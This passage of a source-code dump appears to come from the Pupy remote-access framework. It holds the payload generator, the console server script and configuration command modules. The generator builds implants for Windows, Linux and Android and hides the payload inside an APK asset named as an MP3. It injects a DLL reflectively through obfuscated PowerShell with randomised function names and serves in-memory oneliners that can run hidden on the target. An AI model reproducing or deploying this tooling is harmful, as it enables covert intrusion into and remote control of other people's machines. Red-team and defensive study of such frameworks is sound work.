        zf.close()

        with open(os.path.join(tempdir, 'pp.py'), 'w') as w:
            w.write(packed_payload)

        with open(os.path.join(tempdir, 'pp.pyo'), 'wb') as out:
            out.write(
                pupycompile(
                    os.path.join(tempdir, "pp.py"),
                    target=target.pyver
                )
            )

        display(Success('Packaging the apk ... (can take 10-20 seconds)'))

        # updating the tar with the new config
        updateTar(
            os.path.join(tempdir, 'assets/private.mp3'),
            'pp.pyo', os.path.join(tempdir, 'pp.pyo')
        )

        # repacking the tar in the apk

        with open(os.path.join(tempdir, 'assets/private.mp3'), 'rb') as t:
            updateZip(tempapk, 'assets/private.mp3', t.read())

        # signing the tar
        result = BytesIO()
        jarsigner(priv_key, pub_key, tempapk, result)
        return result.getvalue()

    finally:
        # cleaning up
        shutil.rmtree(tempdir, ignore_errors=True)
        os.unlink(tempapk)


def generate_ps1(
        display, conf, target, outpath=False, output_dir=False, as_str=False):

    SPLIT_SIZE = 100000

    code = """
    {0}
    $PEBytesTotal = [System.Convert]::FromBase64String({1})
    Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
    """

    payload = base64.b64encode(
        generate_binary_from_template(
            display, conf, target, shared=True
        )[0]
    )

    if isinstance(payload, bytes):
        payload = payload.decode('ascii')

    parts = [
        payload[i:i+SPLIT_SIZE] for i in xrange(
            0, len(payload), SPLIT_SIZE
        )
    ]

    init_code = []
    concat_code = []

    for i, aPart in enumerate(parts):
        init_code.append(
            '$PEBytes{0}="{1}"\n'.format(i, aPart)
        )
        concat_code.append(
            '$PEBytes{0}'.format(i)
        )

    display(Success('{0} variables used'.format(i + 1)))

    script = obfuscatePowershellScript(
        open(
            os.path.join(
                ROOT, 'external', 'PowerSploit',
                'CodeExecution', 'Invoke-ReflectivePEInjection.ps1'
            ), 'r'
        ).read()
    )

    # adding some more obfuscation
    random_name = ''.join([
        random.choice(string.ascii_lowercase)
        for x in range(0, random.randint(6, 12))
    ])

    script = script.replace('Invoke-ReflectivePEInjection', random_name)
    code = code.replace('Invoke-ReflectivePEInjection', random_name)

    payload = '{0}\n{1}'.format(
        script, code.format(
            ''.join(init_code),
            '+'.join(concat_code)
        )
    )

    if as_str:
        return payload

    if not outpath:
        outfile = tempfile.NamedTemporaryFile(
            dir=output_dir or '.',
            prefix='pupy_',
            suffix='.ps1',
            delete=False
        )
    else:
        try:
            os.unlink(outpath)
        except OSError:
            pass

        outfile = open(outpath, 'w+')

    outpath = outfile.name
    outfile.write(payload)
    outfile.close()

    return outpath


def generate_binary_from_template(
        display, conf, target, shared=False, fmt=None):

    config = PupyConfig()
    
    TEMPLATE_FMT = fmt or 'pupy{arch}{debug}-{pyver}.{ext}'

    CLIENTS = {
        'android': (get_edit_apk, 'pupy.apk', False),
        'linux': (get_edit_binary, TEMPLATE_FMT, True),
        'solaris': (get_edit_binary, TEMPLATE_FMT, True),
        'windows': (get_edit_binary, TEMPLATE_FMT, False),
    }

    SUFFIXES = {
        'windows': ('exe', 'dll'),
        'linux':   ('lin', 'lin.so'),
        'solaris': ('sun', 'sun.so'),
    }

    if target.os not in CLIENTS:
        raise ValueError(
            'Unknown OS ({}), known = {}'.format(
                target.os, ', '.join(CLIENTS)
            )
        )

    generator, template, makex = CLIENTS[target.os]

    if '{arch}' in template and not target.arch:
        raise ValueError(
            'arch required for the target OS ({})'.format(target.os)
        )

    arch = make_template_arch(target.arch)

    shared_ext = 'xxx'
    non_shared_ext = 'xxx'

    if target.os in SUFFIXES:
        non_shared_ext, shared_ext = SUFFIXES[target.os]

    debug_fmt = 'd' if target.debug else ''

    if shared:
        makex = False
        ext = shared_ext
    else:
        ext = non_shared_ext

    filename = template.format(
        arch=arch, debug=debug_fmt, ext=ext,
        pyver=target.pyver_str
    )
    
    # search in project root first
    template = os.path.join(
        ROOT, 'payload_templates', filename
    )

    # finally search in user directory
    if not os.path.isfile(template):
        templatedir = os.path.join(
            config.user_root, 'payload_templates'
        )
        if not os.path.isdir(templatedir):
            display(Error("payload binary templates are not available."))
            display(Info("You must compile them or download precompiled templates."))
            res=input(f"Do you want to download precompiled templates from {PRECOMPILED_TEMPLATES_DOWNLOAD_URL} ? Y/n ")
            if res.lower().strip()=="y" or res.lower().strip()=="yes" or res.lower().strip()=="":
                dst=os.path.join(config.user_root, "payload_templates.txz")
                raise NotImplementedError("TODO: download precompiled templates")
                download(PRECOMPILED_TEMPLATES_DOWNLOAD_URL, dst)

        template = os.path.join(
            config.user_root, 'payload_templates', filename
        )


    if not os.path.isfile(template):
        raise ValueError('Template not found ({})'.format(template))
    display(Info("Using template: {}".format(template)))
    if target.debug:
        conf['debug'] = True

    config_table = [{
        'KEY': k,
        'VALUE': 'PRESENT' if (
            k in ('offline_script') and v
        ) else (
            unicode(v)
            if type(v) not in (tuple, list, set)
            else ' '.join(unicode(x) for x in v)
        )
    } for k, v in conf.items() if v]

    display(
        Table(
            config_table,
            ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1
        )
    )

    return generator(
        target, display, template, conf
    ), filename, makex


def pack_scriptlets(
    display, scriptlets, args_scriptlet,
        os=None, arch=None, pyver=None, debug=False):

    sp = ScriptletsPacker(os, arch)

    for sc in args_scriptlet:
        tab = sc.split(",", 1)
        sc_args = {}
        name = tab[0]
        if len(tab) == 2:
            try:
                for x, y in (x.strip().split("=") for x in tab[1].split(",")):
                    sc_args[x.strip()] = y.strip()
            except Exception as e:
                raise ValueError(
                    'Invalid aruments ({}), expected: key=value'.format(e)
                )

        if name not in scriptlets:
            raise ValueError(
                "unknown scriptlet {}, valid choices are: {}".format(
                    repr(name), [
                        x for x in scriptlets
                    ])
            )

        display(Success(
            'loading scriptlet {}{}'.format(
                repr(name),
                'with args {}'.format(
                    ' '.join(
                        '{}={}'.format(k, repr(v))
                        for k, v in sc_args.items()
                    )
                ) if sc_args else '')
        ))

        try:
            sp.add_scriptlet(scriptlets[name], sc_args)

        except ScriptletArgumentError as e:
            display(MultiPart([
                Error('Scriptlet {} argument error: {}'.format(
                    repr(name), str(e))
                ),
                scriptlets[name].format_help()
            ]))

            raise ValueError('{}'.format(e))

    script_code = sp.pack()
    return script_code


class InvalidOptions(Exception):
    pass


PAYLOAD_FORMATS = [
    'client', 'py', 'pyinst', 'py_oneliner', 'ps1',
    'ps1_oneliner', 'csharp',
    '.NET', '.NET_oneliner', 'pyoxidizer'
]


CLIENT_OS = ['android', 'windows', 'linux', 'solaris']
CLIENT_ARCH = ['x86', 'x64', 'armhf']


def get_parser(base_parser, config):
    parser = base_parser(
        description='Generate payloads for windows, linux, osx and android.'
    )

    pyver = parser.add_mutually_exclusive_group()

    pyver.add_argument(
        '--python38', action='store_true',
        help='Use python38 target (windows 7 supported)'
    )

    parser.add_argument(
        '-f', '--format', default=config.get('gen', 'format'),
        choices=PAYLOAD_FORMATS, help="(default: client)"
    )

    parser.add_argument(
        '-O', '--os', default=config.get('gen', 'os'),
        choices=CLIENT_OS, help='Target OS (default: windows)'
    )

    parser.add_argument(
        '-A', '--arch', default=config.get('gen', 'arch'),
        choices=CLIENT_ARCH, help='Target arch (default: x86)'
    )

    parser.add_argument(
        '-U', '--uncompressed', default=False,
        action='store_true', help='Use uncompressed template'
    )

    parser.add_argument(
        '-P', '--packer', default=config.get('gen', 'packer'),
        help='Use packer when \'client\' output format (default: %(default)s)'
    )

    parser.add_argument(
        '-S', '--shared', default=False, action='store_true',
        help='Create shared object'
    )

    parser.add_argument(
        '-o', '--output', help="output filename"
    )

    parser.add_argument(
        '-d', '--delays-list',
        action='append', type=str,
        metavar=('<ATTEMPTS>', '<MIN SEC>', '<MAX SEC>'), nargs=3,
        help='Format: <max attempts, i for infinite> <min delay (sec)> <max delay (sec)>'
    )

    default_payload_output = '.'

    try:
        default_payload_output = config.get_path(
            'payload_output', dir=True
        )
    except ValueError as e:
        logger.error(
            'Invalid value for "payload_output" in config file: %s', e
        )

    parser.add_argument(
        '-D', '--output-dir', default=default_payload_output,
        help="output folder (default: %(default)s)"
    )

    parser.add_argument(
        '-s', '--scriptlet', default=[], action='append',
        help='offline python scriptlets to execute before '
        'starting the connection. Multiple scriptlets can be privided.'
    )

    parser.add_argument(
        '-l', '--list', action='store_true',
        help="list available formats, transports, scriptlets and options"
    )

    parser.add_argument(
        '-E', '--prefer-external', action='store_true',
        default=config.getboolean('gen', 'external'),
        help="In case of autodetection prefer external IP"
    )

    parser.add_argument(
        '--no-use-proxy', action='store_true',
        help="Don't use the target's proxy configuration even if it is "
        "used by target (for ps1_oneliner only for now)"
    )

    parser.add_argument(
        '--oneliner-nothidden', default=False, action='store_true',
        help="Powershell script not hidden target side (default: %(default)s)"
    )

    parser.add_argument(
        '--debug-scriptlets', action='store_true',
        help="don't catch scriptlets exceptions on the client "
        "for debug purposes"
    )

    parser.add_argument(
        '--debug', action='store_true',
        help="build with the debug template (the payload open a console)"
    )

    parser.add_argument(
        '--workdir', help='Set Workdir (Default = current workdir)'
    )

    parser.add_argument(
        'launcher', choices=[
            x for x in launchers
        ],
        default=config.get('gen', 'launcher') or 'connect', nargs='?',
        help="Choose a launcher. Launchers make payloads behave "
        "differently at startup."
    )

    parser.add_argument(
        'launcher_args', default=config.get('gen', 'launcher_args'),
        nargs=argparse.REMAINDER, help="launcher options"
    )

    return parser


def pupygen(args, config, pupsrv, display):
    scriptlets = load_scriptlets(args.os, args.arch)

    if args.list:
        display(MultiPart([
            Table(
                [{
                    'FORMAT': fmt, 'DESCRIPTION': description
                } for fmt, description in ((
                    'client', 'generate client binary (linux/windows/apk/..)'
                ), (
                    'pyoxidizer', 'generate client binary using pyoxidizer template (linux only for now). The advantage of this method is that the binary is fully static and embeds a static python interpreter'
                ), (
                    'py', 'fully packaged python file'
                ), (
                    'py_oneliner', 'same as \'py\' format '
                    'but served over http'
                ), (
                    'ps1', 'generate ps1 file which embeds pupy dll '
                    '(x86-x64) and inject it to current process'
                ), (
                    'ps1_oneliner', 'load pupy remotely from memory with a '
                    'single command line using powershell'
                ), (
                    'csharp', 'generate C# source (.cs) that executes pupy'
                ), (
                    '.NET', 'compile a C# payload into a windows executable.'
                ), (
                    '.NET_oneliner', 'Loads .NET assembly from memory '
                    'via powershell'
                ))],
                ['FORMAT', 'DESCRIPTION'],
                Color('Available formats (usage: -f <format>)', 'yellow')
            ),

            Table(
                [{
                    'TRANSPORT': name, 'DESCRIPTION': t.info
                } for name, t in transports.items()],
                ['TRANSPORT', 'DESCRIPTION'],
                Color('Available transports (usage: -t <transport>)', 'yellow')
            ),

            Table(
                [{
                    'SCRIPTLET': name, 'DESCRIPTION': sc.description,
                    'ARGS': '; '.join(
                        '{}={}'.format(k, v) for k, v in sc.arguments.items()
                    )
                } for name, sc in scriptlets.items()],
                ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color(
                    'Available scriptlets for {}/{} '
                    '(usage: -s <scriptlet>[,arg1=value1,arg2=value2]'.format(
                        args.os or 'any', args.arch or 'any'), 'yellow')
            )
        ]))

        raise NoOutput()

    if args.workdir:
        os.chdir(args.workdir)

    script_code = ''

    try:
        if args.scriptlet:
            script_code = pack_scriptlets(
                display,
                scriptlets,
                args.scriptlet,
                os=args.os,
                arch=args.arch,
                debug=args.debug_scriptlets
            )

    except ValueError as e:
        display(Error(str(e)))
        raise NoOutput()

    launcher = launchers[args.launcher]

    while True:
        try:
            launcher.arg_parser.parse_args(args.launcher_args)
        except LauncherError as e:
            if str(e).strip().endswith("--host is required") \
                    and "--host" not in args.launcher_args:
                myip = get_listener_ip(
                    external=args.prefer_external, config=config
                )

                if not myip:
                    raise ValueError(
                        "--host parameter missing and couldn't "
                        "find your local IP. You must precise "
                        "an ip or a fqdn manually"
                    )

                myport = get_listener_port(
                    config, external=args.prefer_external
                )

                display(Warn(
                    'Required argument missing, automatically '
                    'adding parameter --host {}:{} from local '
                    'or external ip address'.format(myip, myport))
                )

                if '-t' in args.launcher_args or \
                        '--transport' in args.launcher_args:

                    args.launcher_args += [
                        '--host', '{}:{}'.format(myip, myport)
                    ]
                else:
                    args.launcher_args += [
                        '--host', '{}:{}'.format(myip, myport),
                        '-t', config.get('pupyd', 'transport')
                    ]

            elif str(e).strip().endswith('--domain is required') \
                    and '--domain' not in args.launcher_args:
                domain = config.get('pupyd', 'dnscnc').split(':')[0]
                if not domain or '.' not in domain:
                    display(Error('DNSCNC disabled!'))
                    return

                display(Warn(
                    'Required argument missing, automatically adding parameter'
                    '--domain {} from configuration file'.format(domain)
                ))

                args.launcher_args = [
                    '--domain', domain
                ]

            else:
                display(launcher.arg_parser.format_help())
                return
        else:
            break

    conf = {
        'launcher': args.launcher,
        'launcher_args': args.launcher_args,
        'offline_script': script_code,
        'debug': args.debug,
        'cid': random.SystemRandom().getrandbits(32)
    }

    if args.delays_list:
        int_delays = []
        for d, mi, ma in args.delays_list:
            if d.strip()=="i" or d.strip()=="infinite":
                d=-1
            try:
                d=int(d)
            except:
                raise ValueError("invalid value : %s. Attempts can be \"i\" for infinite or an integer" % d)
            try:
                mi=int(mi)
            except:
                raise ValueError("invalid value : %s. min_delay needs to be an integer" % d)
            try:
                ma=int(ma)
            except:
                raise ValueError("invalid value : %s. min_delay needs to be an integer" % d)
                return
            int_delays.append((d, mi, ma))


        conf['delays'] = sorted(
            int_delays, key=lambda x: (x[0] if x[0]!=-1 else 9999999999)
        )

    outpath = args.output

    if not os.path.isdir(args.output_dir):
        display(Success(
            'Creating the local folder {} for generating payloads'.format(
                repr(args.output_dir))
        ))

        os.makedirs(args.output_dir)

    pyver = get_pyver(
        38 if args.python38 else 310,
        config
    )

    target = dependencies.Target(
        (int(pyver[0]), int(pyver[1:])),
        (args.os, args.arch),
        args.debug
    )

    if args.format == 'client' or args.format=='pyoxidizer':
        display(Success('Generate client: {}/{}'.format(args.os, args.arch)))

        fmt=None
        if args.format=="pyoxidizer":
            fmt='pupy{arch}-{pyver}.pyoxidizer.{ext}'

        data, filename, makex = generate_binary_from_template(
            display, conf, target, shared=args.shared, fmt=fmt
        )

        if not outpath:
            template, ext = filename.rsplit('.', 1)
            outfile = tempfile.NamedTemporaryFile(
                dir=args.output_dir or '.',
                prefix=template+'.',
                suffix='.'+ext,
                delete=False
            )
        else:
            outpath=os.path.expanduser(outpath)
            try:
                os.unlink(outpath)
            except OSError as e:
                if e.errno == errno.EEXIST:
                    pass

            outfile = open(outpath, 'w+b')

        outfile.write(data)
        outfile.close()

        if makex:
            os.chmod(outfile.name, 0o711)

        if args.packer:
            packingFinalCmd = args.packer.replace('%s', outfile.name)
            display(
                'Packing payload with this command: {}'.format(
                    packingFinalCmd
                )
            )

            subprocess.check_call(
                packingFinalCmd,
                shell=True
            )

        outpath = outfile.name

    elif args.format in ('py', 'pyinst'):
        linux_modules = ''
        if not outpath:
            outfile = tempfile.NamedTemporaryFile(
                dir=args.output_dir or '.',
                prefix='pupy_',
                suffix='.py',
                delete=False
            )
        else:
            try:
                os.unlink(outpath)
            except OSError as e:
                if e.errno == errno.EEXIST:
                    pass

            outfile = open(outpath, 'w+b')

        if args.format == 'pyinst':
            linux_modules = getLinuxImportedModules()

        packed_payload = pack_py_payload(
            target, display,
            get_raw_conf(display, conf, verbose=True), purepy=True
        )

        outfile.write(
            '\n'.join([
                '#!/usr/bin/env python',
                '# -*- coding: utf-8 -*-',
                linux_modules,
                packed_payload
            ]).encode('utf-8'))
        outfile.close()

        outpath = outfile.name

    elif args.format == 'py_oneliner':
        packed_payload = pack_py_payload(
            target, display, get_raw_conf(
                display, conf, verbose=True
            ),
            purepy=True
        )

        if not isinstance(packed_payload, bytes):
            packed_payload = packed_payload.encode('ascii')

        try:
            i = conf['launcher_args'].index('--host') + 1
            link_ip = conf['launcher_args'][i].split(':', 1)[0]
        except ValueError:
            link_ip = None

            for listener in pupsrv.get_listeners().values():
                if listener.external is not None:
                    link_ip = str(listener.external)
                    break

        serve_payload(
            display, pupsrv, packed_payload, link_ip=link_ip
        )

        raise NoOutput()

    elif args.format == 'csharp':
        if args.os != 'windows':
            raise ValueError('This format only supports windows')

        rawdll = generate_binary_from_template(
            display, conf, target, shared=True
        )[0]

        dn = DotNetPayload(
            display, pupsrv, conf, rawdll,
            outpath=outpath, output_dir=args.output_dir
        )

        outpath = dn.gen_source()

    elif args.format == '.NET':
        if args.os != 'windows':
            raise ValueError('This format only supports windows')

        rawdll = generate_binary_from_template(
            display, conf, target, shared=True
        )[0]

        dn = DotNetPayload(
            display, pupsrv, conf, rawdll, outpath=outpath,
            output_dir=args.output_dir
        )

        outpath = dn.gen_exe()

        if outpath is None:
            raise NoOutput()

    elif args.format == '.NET_oneliner':
        if args.os != 'windows':
            raise ValueError('This format only supports windows')

        link_ip = None
        try:
            i = conf['launcher_args'].index('--host')+1
            link_ip, _ = conf['launcher_args'][i].split(':', 1)
        except ValueError:
            pass

        rawdll = generate_binary_from_template(
            display, conf, target, shared=True
        )[0]

        dotnet_serve_payload(display, pupsrv, rawdll, conf, link_ip=link_ip)

        raise NoOutput()

    elif args.format == 'ps1':
        if args.os != 'windows':
            raise ValueError('This format only supports windows')

        outpath = generate_ps1(
            display, conf, target,
            outpath=outpath, output_dir=args.output_dir
        )

    elif args.format == 'ps1_oneliner':
        if conf['launcher'] in ['connect', 'auto_proxy']:
            from pupy.pupylib.payloads.ps1_oneliner import serve_ps1_payload

            link_ip = conf["launcher_args"][
                conf["launcher_args"].index("--host")+1].split(":", 1)[0]

            if not args.no_use_proxy:
                useTargetProxy = True
            else:
                useTargetProxy = False

            serve_ps1_payload(
                display, pupsrv, conf, target,
                link_ip=link_ip, useTargetProxy=useTargetProxy,
                nothidden=args.oneliner_nothidden
            )

            raise NoOutput()

        elif conf['launcher'] == 'bind':
            from pupy.pupylib.payloads.ps1_oneliner import send_ps1_payload

            outpath, target_ip, bind_port = "", None, None
            bind_port = conf["launcher_args"][
                conf["launcher_args"].index("--port")+1]

            if '--oneliner-host' in conf['launcher_args']:
                target_ip = conf['launcher_args'][
                    conf['launcher_args'].index('--oneliner-host')+1]

                send_ps1_payload(
                    display, conf, target,
                    bind_port=bind_port, target_ip=target_ip,
                    nothidden=args.oneliner_nothidden
                )

                display(Success(
                    'You have to connect manually to the target {1} '
                    'with "connect --host {0}:{1}"'.format(
                        target_ip, bind_port)
                ))

                raise NoOutput()
            else:
                raise ValueError(
                    'You have to give me the --oneliner-host argument'
                )
        else:
            raise ValueError(
                'ps1_oneliner with {0} mode is not implemented yet'.format(
                    conf['launcher']
                )
            )

    else:
        raise ValueError("Type %s is invalid." % (args.format))

    display(Success('OUTPUT_PATH: {}'.format(os.path.abspath(outpath))))
    display(Success('SCRIPTLETS:  {}'.format(args.scriptlet)))
    display(Success('DEBUG:       {}'.format(args.debug)))

    return os.path.abspath(outpath)


def main():
    from pupy.pupylib.utils.term import as_term_bytes
    from traceback import print_exc

    def display(data):
        sys.stdout.buffer.write(as_term_bytes(data))
        sys.stdout.write('\n')

    Credentials.DEFAULT_ROLE = 'CLIENT'

    config = PupyConfig()
    Credentials(config=config, validate=True)

    parser = get_parser(argparse.ArgumentParser, config)
    try:
        args = parser.parse_args()
        pupygen(args, config, None, display)

    except NoOutput:
        sys.exit(0)

    except InvalidOptions:
        sys.exit(1)

    except (ValueError, EncryptionError) as e:
        if args.debug:
            print_exc()
        display(Error(e))

    except Exception as e:
        print_exc()
        sys.exit(str(e))


if __name__ == '__main__':
    main()


================================================
FILE: pupy/cli/pupysh.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
#  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import logging
import argparse

args = None

def parse_args():
    parser = argparse.ArgumentParser(prog='pupysh', description="Pupy console")
    parser.add_argument(
        '--loglevel', '-d',
        help='change log verbosity', dest='loglevel',
        choices=['DEBUG', 'INFO', 'WARNING', 'ERROR'],
        default='WARNING')
    parser.add_argument('--logfile', '-DF', help='log to file', dest='logfile', default=None)
    parser.add_argument(
        '-l', '--listen',
        help='Bind server listener with transport and args to port.'
        'Example: -l ssl 127.0.0.1:443 -l kcp 80 -l xyz 1234 OPTION1=value OPTION2=value.',
        nargs='+',
        metavar=('TRANSPORT', '<<EXTERNAL_IP=>IP>:<EXTERNAL_PORT=>PORT OPTION=value'),
        action='append', default=[]
    )
    parser.add_argument(
        '--workdir', help='Set Workdir (Default = current workdir)')
    parser.add_argument('-NE', '--not-encrypt',
                        help='Do not encrypt configuration', action='store_true')
    parser.add_argument('--sound', dest='sounds',
                        help='Play a sound when a session connects', action='store_true')
    return parser

try:
    import pupy.pupylib.PupySignalHandler
    assert pupy.pupylib.PupySignalHandler
except ImportError:
    pass

from pupy.pupylib import (
    PupyServer, PupyCmdLoop, PupyCredentials, PupyConfig
)

def main():
    parser = parse_args()
    args = parser.parse_args()
    if args.workdir:
        os.chdir(args.workdir)

        if os.getuid() == 0 and os.getgid() == 0:
            wdstat = os.stat(args.workdir)
            os.setresgid(wdstat.st_uid, wdstat.st_uid, wdstat.st_uid)
            os.setresuid(wdstat.st_uid, wdstat.st_uid, wdstat.st_uid)

    root_logger = logging.getLogger()

    if args.logfile:
        logging_stream = logging.FileHandler(args.logfile)
        logging_stream.setFormatter(
            logging.Formatter(
                '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s'))
    else:
        logging_stream = logging.StreamHandler()
        logging_stream.setFormatter(logging.Formatter('%(asctime)-15s| %(name)s| %(message)s'))

    logging_stream.setLevel(logging.DEBUG)

    root_logger.handlers = []

    root_logger.addHandler(logging_stream)
    root_logger.setLevel(args.loglevel)
    PupyCredentials.DEFAULT_ROLE = 'CONTROL'
    if args.not_encrypt:
        PupyCredentials.ENCRYPTOR = None

    # Try to initialize credentials before CMD loop
    try:
        credentials = PupyCredentials.Credentials(validate=True)
    except PupyCredentials.EncryptionError as e:
        logging.error(e)
        exit(1)

    config = PupyConfig()

    if args.listen:
        listeners = {
            x[0]: x[1:] if len(x) > 1 else [] for x in args.listen
        }

        config.set('pupyd', 'listen', ','.join(listeners))
        for listener in listeners:
            args = listeners[listener]
            if args:
                config.set('listeners', listener, ' '.join(args))

    pupyServer = PupyServer(config, credentials)
    pupycmd = PupyCmdLoop(pupyServer)

    pupyServer.start()
    pupycmd.loop()
    pupyServer.stop()
    pupyServer.finished.wait()

if __name__ == "__main__":
    main()


================================================
FILE: pupy/commands/__init__.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

__all__ = ('InvalidCommand', 'Commands')

import os
import imp

from pupy.pupylib.PupyCompleter import commands_completer
from pupy.pupylib.PupyModule import PupyArgumentParser

from pupy.network.lib.convcompat import shlex


class InvalidCommand(Exception):
    pass


class CommandsNamespace(object):

    __slots__ = ('module', 'args')

    def __init__(self, module, args):
        self.module = module
        self.args = args


class Commands(object):
    SUFFIXES = tuple([
        suffix for suffix, _, rtype in imp.get_suffixes() \
        if rtype == imp.PY_SOURCE
    ])

    def __init__(self):
        self._commands = {}
        self._commands_stats = {}
        self._refresh()

    def _refresh(self):
        commands_paths = [
            os.path.dirname(__file__)
        ]

        files = {}

        for path in commands_paths:
            files.update({
                '.'.join(x.rsplit('.', 1)[:-1]):os.path.join(path, x) \
                for x in os.listdir(path) if x.endswith(self.SUFFIXES) and \
                not x.startswith('__init__')
            })

        for command in files:
            source = files[command]

            try:
                current_stat = os.stat(source)
            except OSError:
                continue

            if command not in self._commands or self._commands_stats[command] != current_stat.st_mtime:
                try:
                    self._commands[command] = imp.load_source(command, source)
                    self._commands_stats[command] = current_stat.st_mtime
                except IOError:
                    pass

    def _get_command(self, cmdline, aliases, modules, refresh=True):
        argv = shlex.split(cmdline)
        if not argv:
            raise InvalidCommand(cmdline)

        argv0 = argv[0]
        args = []

        if len(argv) > 1:
            args = argv[1:]

        if argv0 in aliases:
            aliased = aliases[argv0]
            if '{' in aliased or '%' in aliased:
                aargv = shlex.split(aliased.format(*args))
                argv0, args = aargv[0], aargv[1:]
            else:
                aargv = shlex.split(aliased)
                argv0, args = aargv[0], aargv[1:] + args

        if argv0 not in self._commands and refresh:
            self._refresh()

        if argv0 not in self._commands:
            found = False
            for module in modules:
                if argv0 == module.get_name():
                    args.insert(0, argv0)
                    argv0 = 'run'
                    found = True
                    break

            if not found:
                raise InvalidCommand(argv0)

        return self._commands[argv0], args

    def has(self, command):
        if command not in self._commands:
            self._refresh()

        return command in self._commands

    def get(self, command):
        if command not in self._commands:
            self._refresh()

        return self._commands.get(command)

    def execute(self, server, handler, config, cmdline, clients_filter=None):
        aliases = dict(config.items('aliases'))
        command, args = self._get_command(
            cmdline, aliases, server.iter_modules(
                by_clients=True,
                clients_filter=clients_filter or handler.default_filter
            ))

        parser = command.parser
        if callable(parser):
            parser = parser(server, handler, config)

        parsed_args = parser.parse_args(args)

        old_filter = handler.default_filter

        if clients_filter:
            handler.default_filter = clients_filter

        try:
            command.do(server, handler, config, parsed_args)
        finally:
            if clients_filter and handler.default_filter == clients_filter:
                handler.default_filter = old_filter

    def list(self, refresh=True):
        if refresh:
            self._refresh()

        for command in self._commands:
            module = self._commands[command]

            yield command, module.usage

    def completer(self, context, cmdline):
        server, handler, config = context.server, context.handler, context.config

        aliases = dict(config.items('aliases'))
        modules = list(server.iter_modules(
            by_clients=True,
            clients_filter=handler.default_filter))

        try:
            command, args = self._get_command(cmdline, aliases, modules, False)
            parser = None
            if hasattr(command.parser, 'add_help'):
                parser = command.parser
            else:
                parser = command.parser(server, PupyArgumentParser, config)

            completer = parser.get_completer()

            return completer.complete, command.__name__, args

        except InvalidCommand:
            return commands_completer, '', ''


================================================
FILE: pupy/commands/config.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

from pupy.pupylib.PupyModule import PupyArgumentParser
from pupy.pupylib.PupyOutput import Error, Pygment
from pygments.lexers.configs import IniLexer
from argparse import REMAINDER

usage  = 'Work with configuration file'
parser = PupyArgumentParser(prog='config', description=usage)
commands = parser.add_subparsers(title='commands', dest='command')

cmdlist = commands.add_parser('list', help='list configured options')
cmdlist.add_argument('section', help='list section', nargs='?', default='')
cmdlist.add_argument('-s', '--sections', help='list sections', action='store_true')

cmdset = commands.add_parser('set', help='set config option')
cmdset.add_argument('-w', '--write-project', action='store_true',
                            default=False, help='save config to project folder')
cmdset.add_argument('-W', '--write-user', action='store_true',
                            default=False, help='save config to user folder')
cmdset.add_argument('section', help='config section')
cmdset.add_argument('key', help='config key')
cmdset.add_argument('value', help='value')
cmdset.add_argument('args', nargs=REMAINDER, help='rest args')

cmdunset = commands.add_parser('unset', help='unset config option')
cmdunset.add_argument('-w', '--write-project', action='store_true',
                            default=False, help='save config to project folder')
cmdunset.add_argument('-W', '--write-user', action='store_true',
                            default=False, help='save config to user folder')
cmdunset.add_argument('section', help='config section')
cmdunset.add_argument('keys', nargs='*', help='config key')

cmdsave = commands.add_parser('save', help='save config')
cmdsave.add_argument('-w', '--write-project', action='store_true',
                             default=True, help='save config to project folder')
cmdsave.add_argument('-W', '--write-user', action='store_true',
                             default=False, help='save config to user folder')


def do(server, handler, config, args):
    if args.command == 'list':
        result = []

        for section in config.sections():
            if args.section and args.section != section:
                continue

            result.append('[{}]'.format(section))
            if args.sections:
                continue

            for variable in config.options(section):
                result.append('{} = {}'.format(
                    variable, config.get(section, variable)
                ))

            result.append('')

        handler.display(Pygment(IniLexer(), '\n'.join(result)))

    elif args.command == 'set':
        try:
            value = args.value
            if args.args:
                value += ' '
                value += ' '.join(args.args)

            config.set(args.section, args.key, value)
            config.save(project=args.write_project, user=args.write_user)

        except config.NoSectionError:
            handler.display(Error(args.section, 'No section'))

    elif args.command == 'unset':
        try:
            if args.keys:
                for key in args.keys:
                    config.remove_option(args.section, key)
            else:
                to_remove = [
                    k for k, _ in config.items(args.section)
                ]

                for k in to_remove:
                    config.remove_option(args.section, k)

                config.remove_section(args.section)

            config.save(project=args.write_project, user=args.write_user)

        except config.NoSectionError:
            handler.display(Error(args.section, 'No section'))

    elif args.command == 'save':
        config.save(project=args.write_project, user=args.write_user)


================================================
